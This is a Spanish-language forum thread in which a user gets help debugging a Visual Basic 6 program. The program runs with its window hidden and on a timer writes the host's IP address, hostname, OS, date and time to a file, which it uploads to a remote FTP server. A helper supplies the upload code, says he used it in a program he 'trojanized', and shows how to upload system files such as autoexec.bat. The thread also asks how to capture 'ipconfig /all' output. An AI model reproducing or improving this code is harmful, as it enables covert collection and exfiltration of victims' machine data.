Aplicacion en VB 6.0 ... subir a FTP :s

Iniciado por Xpeed, 12 Julio 2005, 00:33 AM

0 Miembros y 5 Visitantes están viendo este tema.

Xpeed

bien... pues he notado que hay grandes mentes programadoras en este foro asi que posteo una duda que tengo respecto a un programita o mas bien una aplicacion que estoy tratando de realizar...pues en si la aplicacion es muy simple.. solamente es que al ejecutarse cree un arxivo y lo suba a un ftp cada cierto tiempo, en si es muy simple...el problema viene al moemnto de que suba el arxivo al ftp, pues noto que el programa en momento de ejecucion se conecta al ftp pero, no sube el arxivo, aki pongo el codigo haber en que me pueden ayudar vale...

Dim ti
------------------------------------------------------------------------------------
Private Sub Form_Load()
On Error GoTo error
   Form1.Visible = false
   ti = 0
   Timer1.Interval = 100
error:
End Sub
-------------------------------------------------------------------------------------
Private Sub Command1_Click()
On Error GoTo error
    ti = ti + 1
    Label1.Caption = ti
    If ti = 10 Then
      Open "arxivo_a_subir" For Output As #1
        Print #1, "este arxivo tiene que subir"
        Close #1
     Inet1.Execute "ftp://ususari_ftp:clave_ftp@mi_ftp", "PUT arxivo_a_subir.txt" & Winsock1.LocalHostName & ".txt"
     End If
error:
End Sub
-------------------------------------------------------------------------------------
Private Sub Timer1_Timer()
On Error GoTo error
   Call Command1_Click
error:
End Sub


pues es ese.... tengo otra duda,,,, por ejemplo quiero crear una aplicacion que me permita al ejecutarla, crear un arxivo en el cual vaya, toda la informacion que proporcionaria el comando "ipconfig /all" ?¿ .... no seria algo como

Private Sub Form_Load()
Shell ("c:\windows\ipconfig /all >c:\arxivo.txt")


osea en si mi pregunta es: que debo hacer para crear una aplicacion que me permita decirle que comandos ejecutar en el command.com?¿

gracias.

byebye

Citarosea en si mi pregunta es: que debo hacer para crear una aplicacion que me permita decirle que comandos ejecutar en el command.com?¿

usar pipes por ejemplo.

Xpeed

#2
como va lo de pipes¿?

en lo del ftp, creo muy seriamente que el error esta en

Inet1.Execute "ftp://ususari_ftp:clave_ftp@mi_ftp", "PUT arxivo_a_subir.txt" & Winsock1.LocalHostName & ".txt"

esta linea la sake de un manual en el cual instruia que de esta manera se lograria subir el arxivo....pues mi duda esta en lo de "PUT arxivo_a_subir.txt"  ... ya que ese put veo que no deberia estar alli ....asi que si pueden ayudarme a salir de ahi se los agradeceria

un saludo  :-\

Manibal_man

con esto seria suficiente... este pedazo de code lo usé en un programita mio que "troyanicé" x decirlo de alguna manera.. y anda joya


Inet1.URL = "ftp://ftp.tuftp.com.ar"
Inet1.UserName = "tuusuario"
Inet1.Password = "tupass"

' Inet1.Execute , "PUT " & "c:\windows\system32\" & nomArchivo & ".txt"

es muy simple... no podes tener problemas... igual lo adapte para que haga solo lo que vos queres...

Saludos
:: I was born ready motha fucka ::

Xpeed

pues sigue sin subirlo :-\ .... el programa se conecta al ftp, puesto que mientras esta corriendo  no puedo conectarme desde otra aplicacion al mismo,,,,, pero no sube el arxivo.... gracias de todas maneras Manibal_man

un saludo

Manibal_man

es raro... tiene que andar...

espera... a ver... postea aca la linea que estas usando para subir el file (tal cual esta en tu code)

saludos
:: I was born ready motha fucka ::

Xpeed

#6
ahi esta todo el codigo,, repito, el programa se conecta, puesto que no me permite conectarme con otra aplicacion al mismo servidor ftp, pero no sube el arxivo :-\

Dim ti
--------------------------------------------------------------------------
Private Sub Form_Load()
On Error GoTo error
Form1.Visible = True
ti = 0
Timer1.Interval = 100
error:
End Sub
--------------------------------------------------------------------------
Private Sub Command1_Click()
On Error GoTo error
ti = ti + 1
Label1.Caption = ti
If ti = 10 Then
Open "prueba.txt" For Output As #1
Print #1, "ip del host . . . . . :", Winsock1.LocalIP
Print #1, "host. . . . . . . . . :", Winsock1.LocalHostName
Print #1, "plataforma. . . . . . :", SysInfo1.OSPlatform
Print #1, "fecha . . . . . . . . :", Date
Print #1, "hora. . . . . . . . . :", Time
Close #1
Inet1.URL = "ftp://MiFtp.es"
Inet1.UserName = "ElUsuario"
Inet1.Password = "ElPass"
Inet1.Execute , "PUT" & "c:\windows\system32" & "prueba.txt" & ".txt"
End If
error:
End Sub
--------------------------------------------------------------------------
Private Sub Timer1_Timer()
On Error GoTo error
Call Command1_Click
error:
End Sub


un saludo

Manibal_man

#7
jejeje, es lo que me imaginaba nomas...

bueno, cuando yo te postee ese codigo... era solo para que lo tomes como ejemplo, no para que lo pongas tal cual.
Por otro lado, como recomendacion te diria que cuando preguntes algo y te lo contesten, uses eso para investigar como es que funciona y para que es cada parametro, para saber realmente lo que haces y no solo copy & pastear.

entendes que estas haciendo cuando escribis esta linea?
Inet1.Execute , "PUT" & "c:\windows\system32" & "prueba.txt" & ".txt"

Es como si te conectaras al servidor FTP con el cliente FTP del terminal de windows y pusieras
put c:\windows\system32\prueba.txt.txt

El cliente lo que va a hacer es buscar el archivo prueba.txt.txt en c:\windows\system32\ y lo va a subir al directorio en el que estes en el server.

y en realidad no hay espacio entre "put" y la ubicacion del file, asi que en realidad le estas mandando una mezcla de caracteres que nunca va a entender

Ahora, vayamos x partes

1. es realmente prueba.txt.txt el archivo que queres subir?
2. esta en windos\system32\ ?

creo que con esto es suficiente para que lo resuelvas, y no estoy de acuerdo con estas lineas estaticas pero por si no lo es:
Inet1.Execute , "PUT c:\autoexec.bat"

entendes como funciona? uno en gral lo separa para hacer el codigo mas versatil, x ej si pongo

Inet1.Execute , "PUT " & Source & " " & File & ".bat"

tendria antes que definir la variable Source, asignandole por ej c:\, y la variable File autoexec (sin el .bat xq se lo estas agregando en la linea)

Bueno, espero que te sirva todo esto, en gral no estoy de acuerdo con este tipo de explicaciones, soy mas partidario de tirar un par de lineas y decir: investigá (y en gral pruebo yo de antemano en google un par de strings a ver si aparece algo) pero hoy tenia ganas de escribir, y quizas a alguien le venga bien

Saludos.
:: I was born ready motha fucka ::

Xpeed

#8
Manibal_man ... mmm...pues creeme que en realidad he buscado informacion al respecto en diversas fuentes... y pues aunk tampoco estoy deacuerdo con explicaciones tan explicitas, ya que se fomenta "el kerer que todo te hagan",yo mismo he tratado de resolverlo por mi mismo pero se me ha ido de las manos  :-\,  te lo agradezco men, pues he podido resolver el problema... gracias por tomarte el tiempo para responder.

aunke al final lo he hexo simplemente asi..

edito:

inet1.execute , "put c:\prueba.txt /prueba" & winsock1.localhostname & ".txt"     'para que sea diferente al ejecutarlo de diferente makina


pero sinduda la explicacion a la linea que pusiste arriba fue la que me aclaro la duda  ;)
un saludo.

Manibal_man

Jajaj, todo bien, igual se notó que necesitabas que el file tenga un nombre distinto x maquina, por eso te puse el ejemplo con las variables.

Asi que buenisimo, me alegro que te haya servido.

calquier otra cosa avisa

Saludos
:: I was born ready motha fucka ::